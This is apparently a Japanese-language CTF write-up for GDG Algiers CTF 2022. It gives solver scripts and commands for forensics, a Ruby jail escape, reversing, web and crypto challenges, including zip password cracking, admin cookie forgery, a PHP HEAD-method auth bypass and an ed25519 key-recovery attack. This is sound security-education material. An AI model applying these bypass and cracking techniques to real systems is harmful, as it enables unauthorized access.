GDG Algiers CTF 2022 Writeup

この大会は2022/10/8 3:00(JST)~2022/10/10 3:00(JST)に開催されました。
今回もチームで参戦。結果は2712点で264チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (misc)

Discordに入り、#rulesチャネルを見たら、フラグが書いてあった。

CyberErudites{W3lc0m3_To_GDG_ALGIERS_CTF}

POSTAL (misc)

画像の左上にAustralia Post 4-State Barcodeがある。アルファベットのコードにすると、以下のようになる。

ATDFFDDADDAADAADFAFAFFAFATAFAAATADTAFDTDDDDDDDTTTTTTTTADAFFFAFAAAAT

http://bobcodes.weebly.com/auspost.htmlでAlphanumericでデコードする。

Format Control Code: 62
Sorting Code: 78475110
Customer Information Field: K4N64r00zz

この情報をsteghideのパスワードとして秘密情報を抽出する。

$ steghide extract -sf msg.jpg -p K4N64r00zz
wrote extracted data to "Treasure.zip".

抽出したzipファイルはパスワードがかかっている。zip2johnなどもエラーになる。zipファイルが壊れているようだ。バイナリエディタで確認しながら、以下修正する。<||
0x0012-0x0015: 00 00 00 00 -> 72 00 00 00 (0x01df-0x1e2の値より)
0x00e3-0x00e6: 00 00 00 00 -> 95 00 00 00 (0x023e-0x241の値より)
|

$ zip2john Treasure_fix.zip > hash.txt
ver 2.0 efh 5455 efh 7875 efh 9901 Treasure_fix.zip/findme PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=102, crc=0
ver 2.0 efh 5455 efh 7875 efh 9901 Treasure_fix.zip/flag.txt.gpg PKZIP Encr: 2b chk, TS_chk, cmplen=149, decmplen=116, crc=0
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
$ john --wordlist=dict/rockyou.txt hash.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
baltimore        (Treasure_fix.zip/findme)
1g 0:00:00:39 DONE (2022-10-09 15:46) 0.02560g/s 314.6p/s 314.6c/s 314.6C/s total90..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed

パスワードは"baltimore"であるとわかったので、解凍する。

$ 7z x Treasure_fix.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz (A0655),ASM,AES-NI)

Scanning the drive for archives:
1 file, 677 bytes (1 KiB)

Extracting archive: Treasure_fix.zip
--
Path = Treasure_fix.zip
Type = zip
Physical Size = 677

    
Enter password (will not be echoed):
Everything is Ok

Files: 2
Size:       218
Compressed: 677
$ ls -l f*
-rwxrwxrwx 1 root root 102  920 22:35 findme
-rwxrwxrwx 1 root root 116  920 22:31 flag.txt.gpg
$ cat findme
nice you are close 
do you know gpg....?
I think you have the password just get back to your notes :)
$ file flag.txt.gpg
flag.txt.gpg: GPG symmetrically encrypted data (AES256 cipher)

txtとgpgファイルが展開される。gpgファイルを復号する。

$ gpg flag.txt.gpg 
gpg: ディレクトリ'/home/ctf/.gnupg'が作成されました
gpg: keybox'/home/ctf/.gnupg/pubring.kbx'が作成されました
gpg: *警告*: コマンドが指定されていません。なにを意味しているのか当ててみます ...
gpg: AES256.CFB暗号化済みデータ
gpg: 1 個のパスフレーズで暗号化

パスフレーズを聞かれるが、結局Australia Post 4-State BarcodeのSorting Code "78475110"で復号できた。

$ cat flag.txt
CyberErudites{4U57r4114_P057_4_57473}
CyberErudites{4U57r4114_P057_4_57473}

Red Diamond (jail)

Rubyの関数が使えるようなので、system関数でシェルを実行する。

$ nc -v jail.chal.ctf.gdgalgiers.com 1303
Connection to jail.chal.ctf.gdgalgiers.com (34.154.161.90) 1303 port [tcp/*] succeeded!
> Welcome to my personal calculator
> To end the program type EXIT
OPERATION : system("ls")
chall.rb
entrypoint.sh
flag.txt
Result is : true
OPERATION : system("cat flag.txt")
CyberErudites{I_Th0ugh7_CAlcul4t0rs_C4n_OnlY_b3_eXploited_in_PYY}
CyberErudites{I_Th0ugh7_CAlcul4t0rs_C4n_OnlY_b3_eXploited_in_PYY}

traditions (reverse)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  ulong uVar3;
  char local_118 [48];
  uint local_e8 [4];
  undefined4 local_d8;
  undefined4 local_d4;
  undefined4 local_d0;
  undefined4 local_cc;
  undefined4 local_c8;
  undefined4 local_c4;
  undefined4 local_c0;
  undefined4 local_bc;
  undefined4 local_b8;
  undefined4 local_b4;
  undefined4 local_b0;
  undefined4 local_ac;
  undefined4 local_a8;
  undefined4 local_a4;
  undefined4 local_a0;
  undefined4 local_9c;
  undefined4 local_98;
  undefined4 local_94;
  undefined4 local_90;
  undefined4 local_8c;
  undefined4 local_88;
  undefined4 local_84;
  undefined4 local_80;
  undefined4 local_7c;
  undefined4 local_78;
  undefined4 local_74;
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 local_64;
  undefined4 local_60;
  undefined4 local_5c;
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44;
  undefined4 local_40;
  undefined4 local_3c;
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  undefined4 local_2c;
  uint local_24;
  uint local_20;
  int local_1c;
  
  local_e8[0] = 0x15;
  local_e8[1] = 0x91;
  local_e8[2] = 0x2a;
  local_e8[3] = 0x59;
  local_d8 = 0x72;
  local_d4 = 0x1e;
  local_d0 = 0xd9;
  local_cc = 10;
  local_c8 = 0xb6;
  local_c4 = 0xf1;
  local_c0 = 0x2a;
  local_bc = 0xba;
  local_b8 = 0x5f;
  local_b4 = 0x66;
  local_b0 = 0x70;
  local_ac = 0x61;
  local_a8 = 0x4f;
  local_a4 = 0xf7;
  local_a0 = 0xd1;
  local_9c = 0x49;
  local_98 = 0xd6;
  local_94 = 0xac;
  local_90 = 0xb4;
  local_8c = 0x21;
  local_88 = 0xb2;
  local_84 = 0x1e;
  local_80 = 0x94;
  local_7c = 0x28;
  local_78 = 0x5a;
  local_74 = 0x57;
  local_70 = 0xaa;
  local_6c = 0x15;
  local_68 = 199;
  local_64 = 10;
  local_60 = 200;
  local_5c = 0xa3;
  local_58 = 0xf0;
  local_54 = 0x76;
  local_50 = 3;
  local_4c = 0x34;
  local_48 = 0x88;
  local_44 = 0xe1;
  local_40 = 0x24;
  local_3c = 99;
  local_38 = 0xc2;
  local_34 = 0x13;
  local_30 = 0x5a;
  local_2c = 2;
  srand(0x7e6);
  printf("Enter the password : ");
  fgets(local_118,0x30,stdin);
  sVar2 = strlen(local_118);
  if (sVar2 != 0x2f) {
    printf("Wrong length");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_1c = 0;
  while( true ) {
    uVar3 = (ulong)local_1c;
    sVar2 = strlen(local_118);
    if (sVar2 <= uVar3) {
      puts("Correct, you can submit the flag");
      return 0;
    }
    iVar1 = rand();
    local_20 = (uint)(iVar1 >> 0x1f) >> 0x18;
    local_20 = (iVar1 + local_20 & 0xff) - local_20;
    local_24 = (int)local_118[local_1c] ^ local_20;
    if (local_24 != local_e8[local_1c]) break;
    local_1c = local_1c + 1;
  }
  printf("WRONG");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

このバイナリの処理概要は以下の通り。

・srand(0x7e6)
・local_118: フラグ入力
・フラグの長さは0x2fであることをチェック
・各文字について以下を実行する。
 ・iVar1 = rand()
 ・local_20 = (uint)(iVar1 >> 0x1f) >> 0x18;
 ・local_20 = (iVar1 + local_20 & 0xff) - local_20;
 ・local_24 = (int)local_118[i] ^ local_20;
 ・local_24が特定の値であることのチェック

乱数はsrandで分かっているので、それを元に妥当な入力文字列を求める。

#include <stdio.h>
#include <stdlib.h>

void main() {
    int v[0x2f] = {0x15, 0x91, 0x2a, 0x59, 0x72, 0x1e, 0xd9, 10, 0xb6, 0xf1,
        0x2a, 0xba, 0x5f, 0x66, 0x70, 0x61, 0x4f, 0xf7, 0xd1, 0x49, 0xd6,
        0xac, 0xb4, 0x21, 0xb2, 0x1e, 0x94, 0x28, 0x5a, 0x57, 0xaa, 0x15,
        199, 10, 200, 0xa3, 0xf0, 0x76, 3, 0x34, 0x88, 0xe1, 0x24, 99, 0xc2,
        0x13, 0x5a};
    int r;
    int a;

    srand(0x7e6);
    for (int i; i < 0x2f; i++) {
        r = rand();
        a = (r >> 0x1f) >> 0x18;
        a = (r + a & 0xff) - a;
        printf("%c", a ^ v[i]);
    }
    printf("\n");
}
CyberErudites{DA_Cl4$$IC_X0R_X_N07_Th4t_R4nd0m}

impossible_challenge (reverse)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  time_t tVar1;
  long in_FS_OFFSET;
  byte local_13d;
  int local_13c;
  int local_138;
  int local_134;
  int local_130;
  undefined4 local_12c;
  undefined4 local_128 [4];
  undefined4 local_118;
  undefined4 local_114;
  undefined4 local_110;
  undefined4 local_10c;
  undefined4 local_108;
  undefined4 local_104;
  undefined4 local_100;
  undefined4 local_fc;
  undefined4 local_f8;
  undefined4 local_f4;
  undefined4 local_f0;
  undefined4 local_ec;
  undefined4 local_e8;
  undefined4 local_e4;
  undefined4 local_e0;
  undefined4 local_dc;
  undefined4 local_d8;
  undefined4 local_d4;
  undefined4 local_d0;
  undefined4 local_cc;
  undefined4 local_c8;
  undefined4 local_c4;
  undefined4 local_c0;
  undefined4 local_bc;
  undefined4 local_b8;
  undefined4 local_b4;
  undefined4 local_b0;
  undefined4 local_ac;
  undefined4 local_a8;
  undefined4 local_a4;
  undefined4 local_a0;
  undefined4 local_9c;
  undefined4 local_98;
  undefined4 local_94;
  undefined4 local_90;
  undefined4 local_8c;
  char local_79;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fwrite("Let me check your secret: ",1,0x1a,stdout);
  fgets(local_78,100,stdin);
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  local_138 = rand();
  local_134 = rand();
  local_130 = rand();
  if (((local_138 == local_134) && (local_134 == local_130)) &&
     (local_130 == local_78[0] * local_138)) {
    local_128[0] = 6;
    local_128[1] = 0x3c;
    local_128[2] = 0x27;
    local_128[3] = 0x20;
    local_118 = 0x37;
    local_114 = 0;
    local_110 = 0x37;
    local_10c = 0x30;
    local_108 = 0x21;
    local_104 = 0x2c;
    local_100 = 0x31;
    local_fc = 0x20;
    local_f8 = 0x36;
    local_f4 = 0x3e;
    local_f0 = 0x61;
    local_ec = 0x20;
    local_e8 = 0;
    local_e4 = 0x1a;
    local_e0 = 0x2b;
    local_dc = 10;
    local_d8 = 0x31;
    local_d4 = 0x2d;
    local_d0 = 0xc;
    local_cc = 0xb;
    local_c8 = 2;
    local_c4 = 0x1a;
    local_c0 = 0xc;
    local_bc = 0x61;
    local_b8 = 0x1a;
    local_b4 = 0x74;
    local_b0 = 0x28;
    local_ac = 0x35;
    local_a8 = 0x2a;
    local_a4 = 0x61;
    local_a0 = 0x61;
    local_9c = 0x2c;
    local_98 = 7;
    local_94 = 0x29;
    local_90 = 0x20;
    local_8c = 0x38;
    local_79 = '\0';
    local_12c = 0x45;
    for (local_13c = 0; local_13c < 0x28; local_13c = local_13c + 1) {
      local_13d = (byte)local_12c ^ (byte)local_128[local_13c];
      strncat(&local_79,(char *)&local_13d,1);
    }
  }
  else {
    fwrite("\nHmmm, that seems wrong",1,0x17,stdout);
  }
  fputc(10,stdout);
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

local_128[0]以降0x45とXORして復号する。

#!/usr/bin/env python3
enc = [6, 0x3c, 0x27, 0x20, 0x37, 0, 0x37, 0x30, 0x21, 0x2c, 0x31, 0x20, 0x36,
    0x3e, 0x61, 0x20, 0, 0x1a, 0x2b, 10, 0x31, 0x2d, 0xc, 0xb, 2, 0x1a, 0xc, 0x61,
    0x1a, 0x74, 0x28, 0x35, 0x2a, 0x61, 0x61, 0x2c, 7, 0x29, 0x20, 0x38]

flag = ''
for c in enc:
    flag += chr(c ^ 0x45)
print(flag)
CyberErudites{$eE_nOthING_I$_1mpo$$iBle}

cookauth (web)

クッキーの_info_userに以下が設定されている。

7b2275736572223a20226775657374227d

hexデコードしてみる。

$ echo 7b2275736572223a20226775657374227d | xxd -r -p
{"user": "guest"}

"user"の値を"admin"にして、hexエンコードする。

$ echo -n '{"user": "admin"}' | xxd -p
7b2275736572223a202261646d696e227d

この値をクッキーに設定し、[Admin]をクリックすると、フラグが表示される。

Good, the flag is CyberErudites{7H1$_WA$_T0O_wE4k_FOR_4_VAlID471on}
CyberErudites{7H1$_WA$_T0O_wE4k_FOR_4_VAlID471on}

ezphp (web)

phpのコードはこのようになっている。

GETパラメータのloginが"admin"であれば、passが何であってもフラグが表示される。https://ezphp.chal.ctf.gdgalgiers.com/?login=admin&pass=adminにアクセスし、リロードすると、フラグが表示された。

CyberErudites{NeV3R_tRU$T_pHP_MethoD$}

ezphp (fixed) (web)

phpのコードはこのようになっている。

HEADメソッドでアクセスすることによって、$_SESSION["admin"]の値を1の状態にする。その後、再度GETメソッドでアクセスすると、フラグが表示される。

#!/usr/bin/env python3
import requests

url = 'http://ezphp-fixed.chal.ctf.gdgalgiers.com/?login=admin&pass=admin'

s = requests.Session()

r = s.head(url)
r = s.get(url)
print(r.text)

実行結果は以下の通り。

CyberErudites{svJZiv0xEgiEvitoKQbxM3ujGItEZlRo}Wrong password
CyberErudites{svJZiv0xEgiEvitoKQbxM3ujGItEZlRo}

eXORcist (crypto)

サーバの処理概要は以下の通り。

・以下繰り返し
 ・message: 入力
 ・messageの長さが20未満の場合、終了
 ・key: messageの長さで生成
  ・random_seed: ランダム16バイト文字列
  ・key: random_seedの繰り返しでmessageの長さで切る。
 ・offset: messageの長さ未満のランダム整数
 ・cipher: message[:offset]+FLAG+message[offset:]とkeyのXOR
 ・cipherを16進数表記で表示

同じ文字の長い文字列を入力し、後ろにも先頭16バイトと同じ文字列があったら、keyが割り出せる。あとはそのkeyを元に復号する。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.ctf.gdgalgiers.com', 1002))

data = recvuntil(s, b'\n').rstrip()
print(data)

message = 'a' * 1024
while True:
    data = recvuntil(s, b'>> ')
    print(data + message)
    s.sendall(message.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    cipher = bytes.fromhex(data[2:]).decode()
    blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
    assert blocks.count(blocks[0]) > 50
    break

key = ''
for i in range(16):
    key += chr(ord(blocks[0][i]) ^ ord('a'))

message = ''
for i in range(len(cipher)):
    message += chr(ord(cipher[i]) ^ ord(key[i % len(key)]))

flag = message.replace('a', '')
print(flag)

実行結果は以下の通り。

Hello Stranger, send me your secret and I will make sure to roll it up
>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093364c3a442391651c38f2c091576c396c3b0c299316252c3824b325463c3a2315d0b5dc3a7c2b3c2bd301d75c3a0413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63c392c3a2c283093346c3bc413d0575c39c380c1d63
CyberErudites{Y0u_kn0w_h0w_T0_XOR}
CyberErudites{Y0u_kn0w_h0w_T0_XOR}

Eddy (crypto)

サーバの処理概要は以下の通り。

・sk: ランダム32バイト文字列
・pk = create_verifying_key(sk)
・R_flag,S_flag,e_flag = signature(flag,sk,pk)
・以下繰り返し
 ・c: 入力
 ・cが'1'の場合
  ・msg: 入力
  ・pk = create_verifying_key(sk)
  ・R, S, e = signature(msg, sk, pk)
   →表示
 ・cが'2'の場合
  ・msg: 入力
  ・privk: 数値入力
  ・privk: privkを文字列化
  ・pk =  create_verifying_key(privk)
  ・R, S, e = signature(msg, sk, pk)
   →表示
 ・cが'3'の場合
  ・pk: 数値入力
  ・pk: pkを文字列化
  ・checkvalid(R_flag+scalar_to_bytes(S_flag),flag,pk)がTrueの場合、フラグを表示

https://medium.com/asecuritysite-when-bob-met-alice/proof-of-concept-of-the-chalkias-ed25519-implementation-vulnerability-2549a9241df6を参考に考える。

R1, S1, e1 = signature(m, sk, pk1)
R2, S2, e2 = signature(m, sk, pk2)

q = pow(2, 555) - 19
e_inv = inverse(e1 - e2, q)
a = ((S1 - S2) * e_inv) % q
A = Base.scalarmult(a)
pk = A.to_bytes()

このpkの数値を指定すれば、フラグが得られる。

#!/usr/bin/env python3
import socket
from  challenge import *
from Crypto.Util.number import *
from pure25519.basic import Base

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.ctf.gdgalgiers.com', 1000))

msg = 1234
pk1 = bytes_to_long(create_verifying_key(create_signing_key()))
pk2 = bytes_to_long(create_verifying_key(create_signing_key()))
pks = [pk1, pk2]

Ss = []
es = []
for i in range(2):
    data = recvuntil(s, b'> ')
    print(data + '2')
    s.sendall(b'2\n')
    data = recvuntil(s, b': ')
    print(data + str(msg))
    s.sendall(str(msg).encode() + b'\n')
    data = recvuntil(s, b': ')
    print(data + str(pks[i]))
    s.sendall(str(pks[i]).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    params = eval(data)
    S = params['S']
    e = params['e']
    Ss.append(S)
    es.append(e)

q = pow(2, 555) - 19
e_inv = inverse(es[0] - es[1], q)
a = ((Ss[0] - Ss[1]) * e_inv) % q
A = Base.scalarmult(a)
pk = bytes_to_long(A.to_bytes())

data = recvuntil(s, b'> ')
print(data + '3')
s.sendall(b'3\n')
data = recvuntil(s, b': ')
print(data + str(pk))
s.sendall(str(pk).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcom to my singing server !
----------Menu----------
1- Sign a message with a random private key
2- Sign a message with your private key
3- Verify the flag
4- Quit
------------------------
> 2
Enter your message : 1234
Enter your private key : 6906475056413756674020679314103758557738384536173575876810878677264722130175
{'R': b'\x18,\x1b\xc3|[\x819^\x89\x0e\xf1.h\xbal\xb8\xe6k\x9amoP\x01V\x84\xf8\xd1:\xab\xaci', 'S': 542280671233816833822978152703995239579884810037886952635241933357042760091068299115723499346446055630014035552235669961228261482976930356013985719556427253693990608171337246269661250374315301239652664976757569573179897003661967415, 'e': 9906708280106185661560586328516963443641386350589371938987013810600834344407116216300043208055686366525708254086418110174160780880925507276184660800191870}
> 2
Enter your message : 1234
Enter your private key : 63593491975803293653313952919218769465454549574375803498248681965114332215503
{'R': b'\x18,\x1b\xc3|[\x819^\x89\x0e\xf1.h\xbal\xb8\xe6k\x9amoP\x01V\x84\xf8\xd1:\xab\xaci', 'S': 416413352714987423187386290400254578745268928347877271490888975752285505836813611699217002548913265042418245067293866595733139263351804562848477714029058066152161715214693050040421087923332121472008649621799540253884990502751917375, 'e': 7607288675626853313778869611252876925937086271479932335281934512095255756318608568338977145788326277242356177698457968047896620627313056504903707907539227}
> 3
Enter your public key  : 113279529366378411176516811822239700651291114174245428099855034180580509187362
You are an admin, Here's your flag  b'CyberErudites{ed25519_Uns4f3_L1b5}'
CyberErudites{ed25519_Uns4f3_L1b5}

The Matrix (crypto)

行列のDLPを解く必要がある。

G * G * ... * G = pub

pub = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。

G * ... * G = P * J * inverse(P)
        ↓
(inverse(P) * G * P) ** priv = J

あとは各要素のDLPを解き、G**priv = pubになるprivを探し、AES暗号の復号を行う。

#!/usr/bin/sage
import json
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def read_matrix(file_name):
    data = open(file_name, 'r').read().strip()
    rows = [list(eval(row)) for row in data.splitlines()]
    return Matrix(GF(p), rows)

with open('encrypted_flag.txt', 'r') as f:
    params = json.load(f)

iv = bytes.fromhex(params['iv'])
encrypted_flag = bytes.fromhex(params['ciphertext'])
p = int(params['p'])

G = read_matrix('matrix.txt')
pub = read_matrix('public_key.txt')

J, P = pub.jordan_form(transformation=True)
G2 = ~P * G * P

for i in range(12):
    R = IntegerModRing(p)
    priv = discrete_log(R(J[i][i]), R(G2[i][i]))
    if G**priv == pub:
        break

key = SHA256.new(data=str(priv).encode()).digest()[:2**8]
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(encrypted_flag), 16).decode()
print(flag)
CyberErudites{Di4g0n4l1zabl3_M4tric3s_d4_b3st}

The_Messager (crypto)

1文字ずつRSA暗号化しているので、ブルートフォースで求める。

#!/usr/bin/python3
from values import *

flag = ''
for i in range(len(ct)):
    for code in range(32, 127):
        if pow(code, e, N) == ct[i]:
            flag += chr(code)
            break
print(flag)
CyberErudites{RSA_1S_S1MPL3}

franklin-last-words (crypto)

暗号化処理は以下の通り。

・e = 3
・p, q: 512ビット素数
・N = p * q
・N, e出力
・rand: ランダム64バイトの数値化したもの
・ct = []
・randを24ビット左シフトしたものを暗号化(pow(m, e, N))し、ctに追加
・FLAGの各文字について、以下の暗号化したものをctに追加
 ・pow(c, 3, N) + (m << 24)

R = rand << 24とする。
ct[0] = pow(R, e, N)
ct[1] = pow(pow(FLAG[0], e, N) + R, e, N)
ct[2] = pow(pow(FLAG[1], e, N) + R, e, N)
      :
|

Franklin-Reiter Related Message Attackでct[0], ct[1]から、フラグが"C"から始まることを前提にRを求める。あとは1文字ずつブルートフォースでフラグを求めればよい。

#!/user/bin/sage
from message import *

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

diff = pow(ord('C'), e, N)
R = related_message_attack(ct[0], ct[1], diff, e, N)

flag = ''
for i in range(len(ct)):
    for code in range(32, 127):
        if pow(pow(code, e, N) + R, e, N) == ct[i]:
            flag += chr(code)
            break

print(flag)
CyberErudites{Fr4nkl1n_W3_n33d_an0th3R_S3450N_A54P}